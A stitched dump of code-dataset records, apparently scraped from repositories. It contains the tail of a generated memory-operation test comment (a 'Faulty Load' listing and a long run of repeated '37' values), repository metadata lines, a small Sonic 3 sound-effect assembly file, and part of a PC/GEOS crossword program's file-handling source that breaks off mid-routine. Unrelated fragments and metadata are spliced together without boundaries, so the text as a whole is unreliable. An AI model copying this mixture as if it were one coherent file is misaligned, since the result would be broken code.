'addresses_PSE', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 10}} [Faulty Load] {'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 3}} {'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 7}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 8}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': True, 'same': False, 'congruent': 1}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 9}} {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}} {'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 9}} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'} {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
33.676596
2,999
0.653525
7bbb3a06f33f14de62edc6ef1a6741fe07645b70
411
asm
Assembly
sk/sfx/7F.asm
Cancer52/flamedriver
9ee6cf02c137dcd63e85a559907284283421e7ba
[ "0BSD" ]
9
2017-10-09T20:28:45.000Z
2021-06-29T21:19:20.000Z
sk/sfx/7F.asm
Cancer52/flamedriver
9ee6cf02c137dcd63e85a559907284283421e7ba
[ "0BSD" ]
12
2018-08-01T13:52:20.000Z
2022-02-21T02:19:37.000Z
sk/sfx/7F.asm
Cancer52/flamedriver
9ee6cf02c137dcd63e85a559907284283421e7ba
[ "0BSD" ]
2
2018-02-17T19:50:36.000Z
2019-10-30T19:28:06.000Z
Sound_7F_Header: smpsHeaderStartSong 3 smpsHeaderVoice Sound_7F_Voices smpsHeaderTempoSFX $01 smpsHeaderChanSFX $01 smpsHeaderSFXChannel cPSG3, Sound_7F_PSG3, $E5, $01 ; PSG3 Data Sound_7F_PSG3: smpsPSGform $E7 dc.b nF5, $05 smpsModSet $02, $03, $F5, $0A dc.b nEb6, $06, nE6, $05, nB4, $03, nE6, $05, nB4, $03 smpsStop ; Song seems to not use any FM voices Sound_7F_Voices:
21.631579
55
0.695864
b018ff987b910ecfd7a3acee1325119bd433e250
117,495
asm
Assembly
Appl/Games/CWord/cwordFile.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Appl/Games/CWord/cwordFile.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Appl/Games/CWord/cwordFile.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Geoworks 1994 -- All Rights Reserved PROJECT: Crossword MODULE: File FILE: cwordFile.asm AUTHOR: Jennifer Lew, May 6, 1994 ROUTINES: Name Description ---- ----------- *PROCEDURES FileReadPuzzleSelectionToBuffer FileCopyBufferToInstanceDataSourceFile FileGetSourceFilePathToInstanceData FileCheckIfSamePuzzleOpened FileLoadPuzzle FileGetCompressedFileBytes FileOpenSourceDocument FileParseHeader FileChangeIntroText FileDisplayIntro FileDismissIntro FileReadSourceDocument FileUncompressAndReadToESBX FileGetNumberClueBytes FileWriteUserDocument FileWriteActualUserData FileWriteSelectedClueData FileWriteSelectedWordCellClueDataDefault FileWriteSelectedWordAndCellData FileMoveElementToFront FileSetNewPathInFirstElement FileCreateNewPuzzleData FileDeleteLastPuzzleIfTooManyPuzzles FileCopyPuzzleNameToNewElement FileSetPathInNewElement FileFindPuzzleCallback FileOpenUserDocument FileInitializeMapBlock FileReadUserDocument FileGetUserDocPuzzleBlockHandle FileGiveDataToEngine FileGetBlockHandleOfFirstPuzzle FileGetNameAndPathOfFirstPuzzle FileFindPuzzleInMapBlock StringAsciiConvertToInteger translates an ascii number to an actual number *METHODS CFBOpenApplication CFBFileSelected CFBOk CFBSaveButton CFBSave CFBClose CFBPuzzles CFBLoadLastPuzzlePlayed CFBGetSourceFilePath CFBNotifyError REVISION HISTORY: Name Date Description ---- ---- ----------- JL 5/ 6/94 Initial revision DESCRIPTION: This file contains code for the File Module. $Id: cwordFile.asm,v 1.1 97/04/04 15:14:24 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CwordFileCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CFBOpenApplication %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: This is called when the Cword application starts up. The "Crossword Puzzles" directory needs to be created if it does not already exist. jfh 12/18/03 - We'll change this a bit. Instead we'll just try to open in the proper folder and if that isn't there we'll open in DOCUMENT. I've made the path, document & drive buttons usable in the ui file and eliminated the virtual root. CALLED BY: MSG_CFB_OPEN_APPLICATION PASS: *ds:si = CwordFileBoxClass object ds:di = CwordFileBoxClass instance data ds:bx = CwordFileBoxClass object (same as *ds:si) es = segment of CwordFileBoxClass ax = message # RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 8/12/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CFBOpenApplication method dynamic CwordFileBoxClass, MSG_CFB_OPEN_APPLICATION uses ax, dx .enter ; jfh 12/18/03 - set the default path here mov bx, handle CwordStrings call MemLock mov es, ax mov di, offset CwordSourceDirectory mov cx, es mov dx, es:[di] ; cx:dx <- default path push bx ; save the memhandle for unlock mov bp, SP_DOCUMENT mov ax, MSG_GEN_PATH_SET mov di, mask MF_CALL or mask MF_FIXUP_DS call CFBMessageToCwordSelector ; carry set if path invalid jnc goodSet ; otherwise set the path to Document mov di, offset nullPath mov cx, es mov dx, es:[di] ; cx:dx <- null path mov ax, MSG_GEN_PATH_SET mov di, mask MF_CALL or mask MF_FIXUP_DS call CFBMessageToCwordSelector goodSet: pop bx call MemUnlock .leave ret ; end of jfh code ; call FilePushDir ;if _NDO2000 or _BBXENSEM ; mov ax, SP_DOCUMENT ;else ; mov ax, SP_USER_DATA ;endif ; call FileSetStandardPath ; ; mov bx, handle CwordStrings ; call MemLock ; ax - segment ; mov ds, ax ; mov di, offset CwordSourceDirectory ; mov dx, ds:[di] ; call FileCreateDir ; jc createErr ;done: ; call FilePopDir ; ; .leave ; ret ;createErr: ; ; If the error occurred because the directory already exists, ; ; that is ok. ; cmp ax, ERROR_FILE_EXISTS ; je done ; ; ; Otherwise put up a warning to the user ; mov di, SOURCE_DIR_ERR ; mov dx, WARN_N_CONT ; call CwordPopUpDialogBox ; jmp done CFBOpenApplication endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CFBFileSelected %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handle the double click of a puzzle from the puzzle selector dialog box. CALLED BY: MSG_CFB_FILE_SELECTED PASS: *ds:si = CwordFileBoxClass object ds:di = CwordFileBoxClass instance data ds:bx = CwordFileBoxClass object (same as *ds:si) es = segment of CwordFileBoxClass ax = message # cx = entry # of selection made bp = GenFileSelectorEntryFlags RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: If a directory was chosen, just disable the Ok button. If a file was chosen and the selection was a SINGLE click, enable the Ok button. If it is a DOUBLE click on a file, this action is exactly like pushing the Ok trigger, so just send the Ok button a MSG_GEN_TRIGGER_SEND_ACTION. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/29/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CFBFileSelected method dynamic CwordFileBoxClass, MSG_CFB_FILE_SELECTED uses ax,cx .enter ; See if a directory was opened test bp, GFSET_SUBDIR shl offset GFSEF_TYPE jnz dirChosen ; Check whether the click was a single or double click test bp, mask GFSEF_OPEN jz selectionMade ; File selection was opened (double-click) clr cl ; trigger should do regular action mov ax, MSG_GEN_TRIGGER_SEND_ACTION mov bx, handle Ok ; single-launchable mov si, offset Ok mov di, mask MF_FIXUP_DS call ObjMessage jmp finish dirChosen: ; Directory was selected, so disable the Ok button mov ax,MSG_GEN_SET_NOT_ENABLED GetResourceHandleNS Ok, bx mov si,offset Ok mov dl,VUM_NOW mov di,mask MF_FIXUP_DS call ObjMessage finish: .leave ret selectionMade: ; File was selected, so enable the Ok button mov ax,MSG_GEN_SET_ENABLED GetResourceHandleNS Ok, bx mov si,offset Ok mov dl,VUM_NOW mov di,mask MF_FIXUP_DS call ObjMessage jmp finish CFBFileSelected endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CFBOk %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: If the new puzzle is different from the current puzzle: Read in the source file of the new puzzle. Read in the user document of the new puzzle. Tell the Board module to initialize itself. CALLED BY: MSG_CFB_OK PASS: *ds:si = CwordFileBoxClass object ds:di = CwordFileBoxClass instance data ds:bx = CwordFileBoxClass object (same as *ds:si) es = segment of CwordFileBoxClass ax = message # RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/ 9/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CFBOk method dynamic CwordFileBoxClass, MSG_CFB_OK buffer local FileLongName uses ax,cx,dx .enter mov ax, MSG_CFB_SAVE_BUTTON call ObjCallInstanceNoLock ; Make cx:dx the address to copy the puzzle selection to ; and fill the buffer with the name of the newly selected ; puzzle. mov cx, ss lea dx, ss:[buffer] call FileReadPuzzleSelectionToBuffer ; ds - updated jc finish ; See if a puzzle is currently open cmp ds:[di].CFBI_puzzleIsOpen, FALSE je noOpenPuzzle ; If the puzzle that is currently being played is the same ; as the newly selected puzzle, do nothing else. call FileCheckIfSamePuzzleOpened jc finish ; Tell the Board Module that its Engine Token is now invalid ; since a new puzzle is about to be opened. push si ; object handle mov bx, handle Board ; single-launchable mov si, offset Board mov di, mask MF_CALL or mask MF_FIXUP_DS mov ax, MSG_CWORD_BOARD_CLEAN_UP call ObjMessage pop si ; object handle noOpenPuzzle: ; Copy the puzzle name in the buffer to the instance data ; since the new puzzle will be opened. call FileCopyBufferToInstanceDataSourceFile jc finish call FileGetSourceFilePathToInstanceData jc finish call CFBRemoveFromCompletedArray ; Do all necessary work to Read in the new puzzle in ; CFBI_sourceFile: Give the source file and user document ; information to the Engine and notify ; the other modules to initialize ; themselves. call FileLoadPuzzle ; CF set if error finish: .leave ret CFBOk endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CFBRemoveFromCompletedArray %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: If the file in CFBI_sourceFile is in the completed array then remove it. CALLED BY: CFBOk PASS: *ds:si - CwordFileBoxClass RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 10/ 4/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CFBRemoveFromCompletedArray proc near uses ax,bx,cx,di,es,ds,si,bp .enter Assert objectPtr dssi, CwordFileBoxClass ; Don't waste time searching the chunk array for every opened ; puzzle. Just search for ones opened when the selector ; is in completed mode. ; mov ax,MSG_CFFS_GET_MODE mov di,mask MF_FIXUP_DS or mask MF_CALL call CFBMessageToCwordSelector cmp cl,CFFST_COMPLETED je itsCompleted done: .leave ret itsCompleted: call FileOpenUserDocument jc done call FileFindCompletedPuzzleInMapBlock EC < tst cx EC < ERROR_Z CWORD_COMPLETED_PUZZLE_NOT_IN_COMPLETED_ARRAY > NEC < jcxz closeUser ;bail if not found call FileLockMapBlockAndCompletedArray call FileDeleteCompletedPuzzleFromCompletedArray call VMUnlock NEC < closeUser: call VMClose jmp done CFBRemoveFromCompletedArray endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileReadPuzzleSelectionToBuffer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Read the puzzle name from the CwordFileSelector object into the buffer provided. CALLED BY: CFBOk PASS: cx:dx = buffer to fill RETURN: filled buffer ds - possibly updated CF - set if error occured in reading selection DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 7/12/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileReadPuzzleSelectionToBuffer proc near uses ax,bx,di,si,bp .enter ; get the file name selected when ok was clicked mov ax, MSG_GEN_FILE_SELECTOR_GET_SELECTION mov di, mask MF_CALL or mask MF_FIXUP_DS call CFBMessageToCwordSelector ; cx:dx - filled buffer ; ax - entry # of selection ; bp - GenFileSelectorEntryFlags test bp, mask GFSEF_NO_ENTRIES jnz readError clc finish: .leave ret readError: mov di, FILE_ERR call CwordHandleError jmp finish FileReadPuzzleSelectionToBuffer endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileCopyBufferToInstanceDataSourceFile %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Copy the filename in the buffer to the instance data of the CwordFileBox object. CALLED BY: CFBOk PASS: cx:dx - buffer to read from *ds:si = CwordFileBoxClass object RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 7/12/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileCopyBufferToInstanceDataSourceFile proc near class CwordFileBoxClass uses cx,si,di,ds,es .enter Assert objectPtr dssi, CwordFileBoxClass ; Set up the registers to be: ; ds:si = puzzle name, es:di = place to copy to mov di, ds:[si] ; instance data ptr segmov es, ds lea di, ds:[di].CFBI_sourceFile mov ds, cx mov si, dx EC < tst {word}ds:[si] EC < ERROR_Z CWORD_MISSING_SOURCE_PUZZLE_NAME mov cx, FILE_LONGNAME_BUFFER_SIZE shr cx jnc evenNum movsb evenNum: rep movsw .leave ret FileCopyBufferToInstanceDataSourceFile endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileGetSourceFilePathToInstanceData %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the path of the source file into the instance data of the CwordFileBox object. CALLED BY: CFBOk PASS: *ds:si = CwordFileBoxClass object RETURN: DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: Ask the File Selector object for its path. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 8/ 2/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileGetSourceFilePathToInstanceData proc near class CwordFileBoxClass uses ax,bx,cx,dx,si,di,bp .enter Assert objectPtr dssi, CwordFileBoxClass mov di, ds:[si] ; instance ptr ; dx:bp - where to store path mov dx, ds lea bp, ds:[di].CFBI_filePath.GFP_path mov cx, PATH_BUFFER_SIZE push si ; object handle mov di, mask MF_CALL or mask MF_FIXUP_DS mov ax, MSG_GEN_PATH_GET call CFBMessageToCwordSelector EC < ERROR_C FILE_PATH_WONT_FIT > pop si ; object handle mov di, ds:[si] ; instance ptr mov ds:[di].CFBI_filePath.GFP_disk, cx .leave ret FileGetSourceFilePathToInstanceData endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CFBLoadPuzzleFromAppLaunchBlock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: See message definition PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object es - segment of CwordFileBoxClass dx - handle of AppLaunchBlock RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 10/ 5/94 Initial version Don 3/30/00 Added handling for downloading files from the Internt via our browser %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CFBLoadPuzzleFromLaunchBlockCopy method dynamic CwordFileBoxClass, MSG_CFB_LOAD_PUZZLE_FROM_LAUNCH_BLOCK_COPY push dx mov ax, MSG_CFB_LOAD_PUZZLE_FROM_APP_LAUNCH_BLOCK call ObjCallInstanceNoLock pop bx call MemFree ret CFBLoadPuzzleFromLaunchBlockCopy endm CFBLoadPuzzleFromAppLaunchBlock method dynamic CwordFileBoxClass, MSG_CFB_LOAD_PUZZLE_FROM_APP_LAUNCH_BLOCK srcPath local PathName srcDisk local hptr destPath local PathName appendOffset local word .enter Assert handle dx ; ; A little set-up work ; segmov es,ds ;object segment mov bx,dx ;AppLaunchBlock call MemLock mov ds,ax ; ; A little hack here to handle downloading puzzles from ; the Internet. If the file is located in PRIVDATA\IMPDOC, ; then we need to copy the file into the correct location. ; push bx, di, si, ds, es mov bx, ds:[ALB_diskHandle] mov si, offset ALB_path clr dx ;don't add drive name segmov es, ss lea di, ss:[srcPath] ;buffer => ES:DI mov cx, size srcPath call FileConstructActualPath ;actual path => ES:DI mov ss:[srcDisk], bx push bx mov si, offset CwordStrings:InternetSourceDirectory call lockString mov bx, SP_PRIVATE_DATA clr dx ;don't add drive name lea di, ss:[destPath] mov cx, size destPath call FileConstructActualPath segmov ds, ss mov si, di ;doc path => DS:SI (path #1) mov cx, bx ;doc disk handle => CX call unlockString lea di, ss:[srcPath] ;src path => ES:DI (path #2) pop dx ;src disk handle => DX call FileComparePaths ;is path #2 equal to #1 pop bx, di, si, ds, es cmp al, PCT_EQUAL jne storePathInfo ;no, so do nothing special ; ; OK - we need to copy the file. ; push bx, di, si, es segmov es, ss lea di, ss:[srcPath] mov si, offset ALB_dataFile call appendFilename push ds mov si, offset CwordStrings:CwordSourceDirectory call lockString mov bx, SP_USER_DATA clr dx ;don't add drive name lea di, ss:[destPath] mov cx, size destPath call FileConstructActualPath mov dx, bx ;dest disk handle => DX call unlockString pop ds mov si, offset ALB_dataFile call appendFilename call stripCWD push ds segmov ds, ss, ax lea si, ss:[srcPath] mov cx, ss:[srcDisk] call FileCopy pop ds pop bx, di, si, es jnc updatePathInfo ; ; Copy the path over ; storePathInfo: mov ax,ds:[ALB_diskHandle] mov es:[di].CFBI_filePath.GFP_disk,ax push si ;object chunk add di,offset CFBI_filePath + offset GFP_path mov si,offset ALB_path mov cx,size PathName/2 rep movsw pop si ;object chunk ; ; Now copy the filename ; mov cx,ds ;ALB segment mov dx,offset ALB_dataFile copyFilename: segmov ds,es ;object segment call FileCopyBufferToInstanceDataSourceFile ; ; Clean up and actually load the puzzle ; call MemUnlock ;ALB call FileLoadPuzzle .leave ret ; ; If the copy was successful we need to copy the new file ; & path information into the instance data. Sigh. ; updatePathInfo: call deleteSourceFile push si mov es:[di].CFBI_filePath.GFP_disk, dx add di, offset CFBI_filePath + offset GFP_path segmov ds, ss, ax lea si, ss:[destPath] mov cx, ss:[appendOffset] sub cx, si dec cx rep movsb ; copy the path clr al stosb ; NULL-terminate it inc si mov cx, ds mov dx, si ; filename => CX:DX pop si jmp copyFilename ; ; Lock a string down in the CwordStrings resource ; Pass: ; SI = chunk handle of string ; lockString: mov bx, handle CwordStrings call MemLock mov ds, ax mov si, ds:[si] retn ; ; Lock a string down in the CwordStrings resource ; Pass: ; Nothing ; unlockString: mov bx, handle CwordStrings call MemUnlock retn ; ; Append one NULL-terminate strings onto another, ensuring ; that a backslash is added as appropriate. ; Pass: ; ES:DI = destination ; DS:SI = source ; appendFilename: push ax, cx, di, si mov cx, size PathName clr al repne scasb dec di mov al, '\\' cmp es:[di-1], al je appendNow stosb appendNow: mov ss:[appendOffset], di appendLoop: lodsb stosb tst al jnz appendLoop pop ax, cx, di, si retn ; ; Strip the trailing .CWD from the destination filename ; Pass: ; ES:DI = destination filename/path ; stripCWD: push ax, cx, di mov cx, size PathName clr al repne scasb dec di cmp {byte}es:[di-4], '.' jne doneStrip cmp {byte}es:[di-3], 'C' jne doneStrip cmp {byte}es:[di-2], 'W' jne doneStrip cmp {byte}es:[di-1], 'D' jne doneStrip clr {byte}es:[di-4] doneStrip: pop ax, cx, di retn ; ; Delete the source file. Note that we ignore all errors ; because there isn't much we can do about them, and it ; is not a fatal situation for the user (if they download ; the same puzzle multiple times unique names will be created ; so the user will have multiple copies of the same puzzle - ; - not great, but not fatal). ; Pass: ; DS:0 = AppLaunchBlock containing the source file ; deleteSourceFile: push ax, bx, dx call FilePushDir mov bx, ds:[ALB_diskHandle] mov dx, offset ALB_path call FileSetCurrentPath jc doneDelete mov dx, offset ALB_dataFile call FileDelete doneDelete: pop ax, bx, dx retn CFBLoadPuzzleFromAppLaunchBlock endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CFBSaveButton %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: The Save Trigger was pushed or the application is acting like it was pushed. Display a dialog that tells that the puzzle is being saved and save the current puzzle. CALLED BY: MSG_CFB_SAVE_BUTTON PASS: *ds:si = CwordFileBoxClass object ds:di = CwordFileBoxClass instance data ds:bx = CwordFileBoxClass object (same as *ds:si) es = segment of CwordFileBoxClass ax = message # RETURN: CF = set if error, clear otherwise DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 7/18/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CFBSaveButton method dynamic CwordFileBoxClass, MSG_CFB_SAVE_BUTTON uses ax, cx, dx, bp .enter cmp ds:[di].CFBI_puzzleIsOpen, FALSE je done ; Put the Saving Dialog Box to the screen push si ; object handle mov bx, handle SavingInteraction ; single-launchable mov si, offset SavingInteraction mov di, mask MF_CALL or mask MF_FIXUP_DS mov ax, MSG_GEN_INTERACTION_INITIATE call ObjMessage pop si ; object handle ; Save the current puzzle's solution to the user document mov ax, MSG_CFB_SAVE call ObjCallInstanceNoLock jc errOccurred ; Make sure user has a chance to read the message mov ax, SAVING_PUZZLE_DELAY call TimerSleep errOccurred: 